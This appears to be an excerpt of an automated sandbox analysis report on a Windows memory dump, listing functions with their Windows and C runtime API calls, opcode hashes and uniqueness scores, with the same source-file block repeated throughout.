SizeofResource.KERNEL32(00000000,00000000,?,00BE709C,00BD9B48,?,?,00000000,?,?,00BD9B48,?,?,?,?,/api/req/res), ref: 00BD3FD5

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: Resource$LoadLockSizeof
String ID:
API String ID: 2853612939-0
Opcode ID: 1d131ac94f86875a7531f0cf07510b6df0fe3784b0d49bffb31cecaa2259bf7a
Instruction ID: 2088143198f1ae1111bd6e0bfe0db2fae3825bb12d7cab3dda1cd506cc92bb16
Opcode Fuzzy Hash: 1d131ac94f86875a7531f0cf07510b6df0fe3784b0d49bffb31cecaa2259bf7a
Instruction Fuzzy Hash: 5EF04633A012255B8B301B5AAC58ABBF7ECEB85725301497BFA0AD3210F672DC4082D0

Uniqueness

Uniqueness Score: 0.24%

Function 00BD40F0, Relevance: 4.5, APIs: 3, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000), ref: 00BD4130
__Init_thread_footer.LIBCMT ref: 00BD415B

Part of subcall function 00BF45F5: EnterCriticalSection.KERNEL32(00C2F1D8,?,00C3013C,?,00BD4124,00C301A8,00C3013C,00BD834F,5CB9E59C,0000000F,?,00000000), ref: 00BF4600
Part of subcall function 00BF45F5: LeaveCriticalSection.KERNEL32(00C2F1D8,?,00C3013C,?,00BD4124,00C301A8,00C3013C,00BD834F,5CB9E59C,0000000F,?,00000000), ref: 00BF463D

__Init_thread_footer.LIBCMT ref: 00BD41CD

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: CriticalInit_thread_footerSection$EnterHeapLeaveProcess
String ID:
API String ID: 3363689876-0
Opcode ID: ac006cc97c3da1f4734513d9f033ce1c425da5d81924e15e11f43d03a6975999
Instruction ID: 1091aa7cf7ccb86b3861e65eb383dff6f465344f2a781fbc11c45f4aefdc1600
Opcode Fuzzy Hash: ac006cc97c3da1f4734513d9f033ce1c425da5d81924e15e11f43d03a6975999
Instruction Fuzzy Hash: 58115EB3560700CFE390EF68AC6779E3BE0E726720F3441A5D295572A1E3B05488EB52

Uniqueness

Uniqueness Score: 8.94%

Function 00C00820, Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ff58f259cf8b1458e23932582cbed66111991d9305575332ac2f5ab185b11b1
Instruction ID: d15a0050c22d5637b8e963cff78bdf53d790230f455013b95c25405b61d285b2
Opcode Fuzzy Hash: 4ff58f259cf8b1458e23932582cbed66111991d9305575332ac2f5ab185b11b1
Instruction Fuzzy Hash: 5BF14071E012199FDF14CFA9C8807AEB7B1FF49314F268269D929A7385D731AE41CB90

Uniqueness

Uniqueness Score: 0.00%

Function 00BDEC90, Relevance: 3.2, APIs: 2, Instructions: 209comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00BDECE9
CoCreateInstance.OLE32(00C1A2C0,00000000,00000001,00C1A2B0,?), ref: 00BDED08

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: CreateInitializeInstance
String ID:
API String ID: 3519745914-0
Opcode ID: 141d7a9828a71b25d0530bcc8f008abaae59d07222071255143ea1a91314e5cd
Instruction ID: bbea50e39921656749cc09d746a0f940e4a9948b844f0d7b46bfc13cd86241ab
Opcode Fuzzy Hash: 141d7a9828a71b25d0530bcc8f008abaae59d07222071255143ea1a91314e5cd
Instruction Fuzzy Hash: 69812875E002089FDB00DFA8C948BEDB7B9FF49314F1445A9E819AB391DB36A945CF60

Uniqueness

Uniqueness Score: 1.15%

Function 00C10192, Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00C1018D,?,?,00000008,?,?,00C15263,00000000), ref: 00C103BF

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: afeae955f0910acf49c22b4272a532969a2757269b750ac400aac1526b36d423
Instruction ID: 99c835564165704eb89a2f644dbeb1a6e67173887ef25629a79a6d5382710145
Opcode Fuzzy Hash: afeae955f0910acf49c22b4272a532969a2757269b750ac400aac1526b36d423
Instruction Fuzzy Hash: 5DB15D31210608DFD714CF28C48ABA57BA0FF46364F758658E9A9CF2A1C375EAD2DB40

Uniqueness

Uniqueness Score: 0.03%

Function 00BF5007, Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00BF501D

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: c2c12b2d0cb2fd6a1159a1123eeaa3fe854f05676f3ac754ce0b1c0c7dcf7704
Instruction ID: 62950c99e17fb202d0b1c348fcb05fb624f9fba9293f9aa5990aa6d0dce2c2f9
Opcode Fuzzy Hash: c2c12b2d0cb2fd6a1159a1123eeaa3fe854f05676f3ac754ce0b1c0c7dcf7704
Instruction Fuzzy Hash: 6151B6B1910A098FDB34CF58D985BAEBBF0FB44310F24857ACA45FB250D3B49A46DB90

Uniqueness

Uniqueness Score: 0.07%

Function 00C0E60B, Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00C06F6D: GetLastError.KERNEL32(00000008,?,00000000,00C0C55A,00BF591B,00BF5961,?,00BF57A8,00000000), ref: 00C06F72
Part of subcall function 00C06F6D: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00BF57A8,00000000), ref: 00C07010

EnumSystemLocalesW.KERNEL32(00C0E731,00000001,00000000,?,-00000050,?,00C0ED5F,00000000,?,?,?,00000055,?), ref: 00C0E67D

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 9b403fb12938bd48fc365c736311c9974ed775c057ac384597950415141114c0
Instruction ID: 01342bf87b3e800739442424a270584a48907ab7022d66c9dd31353b28dd976b
Opcode Fuzzy Hash: 9b403fb12938bd48fc365c736311c9974ed775c057ac384597950415141114c0
Instruction Fuzzy Hash: 7911293A2007055FDB189F39D8916BAB791FF80318B19482DE95747B80D7727942CB40

Uniqueness

Uniqueness Score: 0.02%

Function 00C0E6A6, Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00C06F6D: GetLastError.KERNEL32(00000008,?,00000000,00C0C55A,00BF591B,00BF5961,?,00BF57A8,00000000), ref: 00C06F72
Part of subcall function 00C06F6D: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00BF57A8,00000000), ref: 00C07010

EnumSystemLocalesW.KERNEL32(00C0E984,00000001,?,?,-00000050,?,00C0ED23,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00C0E6F0

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 848d272f012589327e3b8f797199107b5d08630cd1587faaac05653d982f6fb3
Instruction ID: 6419d9930c29970b564d161dcd1538afee9e0622aa98235078f50fa4212ea02b
Opcode Fuzzy Hash: 848d272f012589327e3b8f797199107b5d08630cd1587faaac05653d982f6fb3
Instruction Fuzzy Hash: 48F0F6363403045FDB245F39D885B7A7B95FF80768F05482DF9458B6D1D6729D02D650

Uniqueness

Uniqueness Score: 0.02%

Function 00C09396, Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00C052FB: EnterCriticalSection.KERNEL32(?,?,00C02803,00000000,00C2CDD0,0000000C,00C027CA,?,?,00C068A9,?,?,00C0710F,00000001,00000364,00000006), ref: 00C0530A

EnumSystemLocalesW.KERNEL32(00C09389,00000001,00C2D030,0000000C,00C097B4,00000000), ref: 00C093CE

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: e869ccb1de98f8aadcfb17433c82aa02881036930e81128dc17152c964bf8d7b
Instruction ID: fc4fc7944ede7a7f378619c716de6480e084635ab910e2b273b481869b6f5847
Opcode Fuzzy Hash: e869ccb1de98f8aadcfb17433c82aa02881036930e81128dc17152c964bf8d7b
Instruction Fuzzy Hash: 95F04932A10204DFDB10DF98E942B9DB7F0EB49720F10412AF511DB2E1CB755902DF50

Uniqueness

Uniqueness Score: 0.02%

Function 00C0E5C0, Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00C06F6D: GetLastError.KERNEL32(00000008,?,00000000,00C0C55A,00BF591B,00BF5961,?,00BF57A8,00000000), ref: 00C06F72
Part of subcall function 00C06F6D: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00BF57A8,00000000), ref: 00C07010

EnumSystemLocalesW.KERNEL32(00C0E519,00000001,?,?,?,00C0ED81,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00C0E5F7

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: df51725714ab6da7b0989b356e81530f4598e64f95227eac95601689ce38be62
Instruction ID: 19b2cdd4f6ae9fa865db564eba62940eed3cb2445c723cae5b18c096867dad6d
Opcode Fuzzy Hash: df51725714ab6da7b0989b356e81530f4598e64f95227eac95601689ce38be62
Instruction Fuzzy Hash: 82F0553A34020597CB14AF35EC09B6A7F94EFC1B18B064469FA058B681D672A942C750

Uniqueness

Uniqueness Score: 0.02%

Function 00C098B8, Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00C04DD0,?,20001004,00000000,00000002,?,?,00C043BB), ref: 00C098EC

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: b16d251bc493170cbf524593a4d74629491b84b5913319d160cc2347ef5a1a60
Instruction ID: e7ad1c3e9b091d29d562eda055a0f4885f060329f07ff2e685477a02cb090230
Opcode Fuzzy Hash: b16d251bc493170cbf524593a4d74629491b84b5913319d160cc2347ef5a1a60
Instruction Fuzzy Hash: 88E04F35501229BBCF122F61DC08BAE7E15FF46760F10C020FC15652A2CB328D21FAD1

Uniqueness

Uniqueness Score: 0.00%

Function 00BFB99E, Relevance: 1.5, Strings: 1, Instructions: 239COMMON

Download Yara Rule

Strings

0, xrefs: 00BFBB36

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 3092a08b5cda45da8146f69f3b6bc8e1c239cc9c630920a4fda231155f3a6b0b
Instruction ID: 1db032322789cd77fb7eab9a5eabf1de6c034487fee98c34d116c28f3f32890a
Opcode Fuzzy Hash: 3092a08b5cda45da8146f69f3b6bc8e1c239cc9c630920a4fda231155f3a6b0b
Instruction Fuzzy Hash: 4561337060020C96DF38AA68C8D5FBEB3E5EF41740F5445EEE782EB28ADB619D4D8741

Uniqueness

Uniqueness Score: 0.03%

Function 00BFB76C, Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00BFB8E8

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 828d8bd026309c7d52753bc7c42c3f20843970e8911ce645460bed6582189f82
Instruction ID: 142182ae09262a4c4aebfd8e709892e4059cccc76ee61ae5be72178ec4682ce5
Opcode Fuzzy Hash: 828d8bd026309c7d52753bc7c42c3f20843970e8911ce645460bed6582189f82
Instruction Fuzzy Hash: 9951137060064C96DB38AA68C9D6FBE6BDEDF81380F1844DEE78297692C7519D4CC352

Uniqueness

Uniqueness Score: 0.03%

Function 00C098F7, Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

GetSystemTimePreciseAsFileTime, xrefs: 00C09907

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID:
String ID: GetSystemTimePreciseAsFileTime
API String ID: 0-595813830
Opcode ID: 457791947d231753c4243e01f4bbf3cb2961e72d73e1f7476684dbe6fe4a0cfe
Instruction ID: 32ad0f9b876275e405d12e159911554d9583bcb44cace8eb87b9724facfb68d7
Opcode Fuzzy Hash: 457791947d231753c4243e01f4bbf3cb2961e72d73e1f7476684dbe6fe4a0cfe
Instruction Fuzzy Hash: 3EE0C236681238B3C2102291BC06BEDBA04D742FB1F144033FA08655A2D9B10810D6D2

Uniqueness

Uniqueness Score: 4.01%

Function 00BD6820, Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9fee96bf9c751f31dea88a8a62a6e41b3ec08c1fa90b6f5c178be0417f84436
Instruction ID: 18642bc7d4783f376a7cf630028fa1aefe2d631dfa4d61fc986c316db2be8c08
Opcode Fuzzy Hash: e9fee96bf9c751f31dea88a8a62a6e41b3ec08c1fa90b6f5c178be0417f84436
Instruction Fuzzy Hash: 2F61C1799052898FDB15CFA884A12EDFFF1EF5A300F0841DAC59067743D33A5A0ACB61

Uniqueness

Uniqueness Score: 0.00%

Function 00BD6630, Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a42fefcc2c882584e530599a48d797ac6b9b7be0bd38dbc5cc9f568b5b62dd09
Instruction ID: f8e952d06f425b8bbcc6468596f0b06b06db7bc1a20d8c5da7f935b6e83c9245
Opcode Fuzzy Hash: a42fefcc2c882584e530599a48d797ac6b9b7be0bd38dbc5cc9f568b5b62dd09
Instruction Fuzzy Hash: E651C230A042489FDB08CF69C8906EEBBF6EF59314F6841AEE855AB742E731D905CB50

Uniqueness

Uniqueness Score: 0.00%

Function 00BFE852, Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd977b8f15467ec82b2f4bfcfa5227289a12516ec17c60c81f069362ca5dd9d6
Instruction ID: e2eb83f537e066a964e3b51be1aebfb432b7c81488de2f6c99eb1cc72909c10e
Opcode Fuzzy Hash: bd977b8f15467ec82b2f4bfcfa5227289a12516ec17c60c81f069362ca5dd9d6
Instruction Fuzzy Hash: 9C516F71E00119AFDF04CF99C981AFEBBB2EF88304F198099E515AB251C774EE55DBA0

Uniqueness

Uniqueness Score: 0.00%

Function 00C13780, Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 514942cb39c9e8045338a7990a95e9c60a30bdc72dd10b2ab6eec2d6b6d072ee
Instruction ID: 3d95f5c1eed17ed36b5e773ca4a8e972d5478a504020fe2c401dd9f06560d0e8
Opcode Fuzzy Hash: 514942cb39c9e8045338a7990a95e9c60a30bdc72dd10b2ab6eec2d6b6d072ee
Instruction Fuzzy Hash: F021B373F204394B7B0CC57E8C562BDB6E1C68C601745823AF8A6EA2C1D968D917E2E4

Uniqueness

Uniqueness Score: 0.00%

Function 00C13660, Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8640979c537bad0f4ac19a8df5416aa4d7956cc378d1ccbfad1de2cc8983dfc9
Instruction ID: d5edf5f0299a4a5d1427325d6ef81954186ef8200672c8a48c44c0581b840fed
Opcode Fuzzy Hash: 8640979c537bad0f4ac19a8df5416aa4d7956cc378d1ccbfad1de2cc8983dfc9
Instruction Fuzzy Hash: 4C11CA23F30C296B675C816D8C132BAA1D2EBD824070F533AD826E7384E894DE13D290

Uniqueness

Uniqueness Score: 0.00%

Function 00C0AF0E, Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a1cd44a34fb400067b5bd4695143b99e133377e4cd13256da2c9f20b6894054
Instruction ID: 7b687bfed45a2d47c726e97ac19c98014849f9ff76db2f736fe55efa43b2ad4e
Opcode Fuzzy Hash: 9a1cd44a34fb400067b5bd4695143b99e133377e4cd13256da2c9f20b6894054
Instruction Fuzzy Hash: 97E08CB2925328EBCB15EBC9C904A8AF3ECEB44B40B11049AF501D3141C271DE00DBD0

Uniqueness

Uniqueness Score: 0.00%

Function 00C057A0, Relevance: 22.9, APIs: 15, Instructions: 357COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00C0580F
_free.LIBCMT ref: 00C05825
_free.LIBCMT ref: 00C05838
_free.LIBCMT ref: 00C0584D
_free.LIBCMT ref: 00C05862
GetCPInfo.KERNEL32(?,?), ref: 00C058AC

Part of subcall function 00C0FA8E: _free.LIBCMT ref: 00C0FAF9

_free.LIBCMT ref: 00C05B17
_free.LIBCMT ref: 00C05B2A
_free.LIBCMT ref: 00C05B38
_free.LIBCMT ref: 00C05B43
_free.LIBCMT ref: 00C05B85
_free.LIBCMT ref: 00C05B8D
_free.LIBCMT ref: 00C05B93
_free.LIBCMT ref: 00C05B9B
_free.LIBCMT ref: 00C05BA9

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: b2db08504014581ac7b6f7739e9095e99c456d4fec72c0dd3fc6029edc4ae2ce
Instruction ID: f9d6aa3c4993c971ef8825d64253feba2d0210e8665343273c6ae27da5dc8112
Opcode Fuzzy Hash: b2db08504014581ac7b6f7739e9095e99c456d4fec72c0dd3fc6029edc4ae2ce
Instruction Fuzzy Hash: 95D19C71E007059FDB21CFA8C881BEEBBF5BF09310F148169E5A5A72C2D770AA45DB60

Uniqueness

Uniqueness Score: 0.67%

Function 00C0D905, Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00C0D949

Part of subcall function 00C0CB05: _free.LIBCMT ref: 00C0CB22
Part of subcall function 00C0CB05: _free.LIBCMT ref: 00C0CB34
Part of subcall function 00C0CB05: _free.LIBCMT ref: 00C0CB46
